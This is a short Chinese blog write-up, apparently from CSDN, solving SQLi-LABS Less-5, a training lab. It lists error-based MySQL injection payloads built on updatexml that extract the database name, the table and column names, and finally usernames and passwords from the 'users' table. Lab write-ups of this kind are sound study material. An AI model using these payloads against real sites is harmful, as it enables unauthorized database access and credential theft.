SQLi-LABS的Less5分析

打开less5看到这个提示

请输入id作为数值的参数

输入?id=1或者?id=1"显示正常

输入?id=1'显示不正常

用updatexml报错注入查询吧

报错注入不许判断字段数,所以爆数据库名就好了

输入?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '

//updatexml是MySQL的一个函数,用于更新XML数据。concat 函数将波浪线、数据库名称和另一个波浪线连接在一起。0x7e 波浪线字符的十六进制代码。这用作文本分隔符。(select database())用于返回数据库名 and'结束语句

爆数据表

输入?id=1' or updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema=database()),'~'),1) or '

//or 逻辑运算符”或“使得返回真总而SQL注入 group_contat产生长字符串 or '结束代码

爆字段

输入?id=1' or updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_name='users'),'~'),1) or '

//表列名称

输入 ?id=1' or updatexml(1,right(concat('~',(select group_concat(column_name)from information_schema.columns where table_name='users'),'~'),32),1) or '

//右侧末尾32字符

爆数据

输入 ?id=1' and updatexml(1, concat(0x7e,(select (group_concat(username,password)) from users),0x7e),1) or '

输入 ?id=1' and updatexml(1, right(concat(0x7e,(select (group_concat(username,password)) from users),0x7e),32),1) or '

好的完成

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值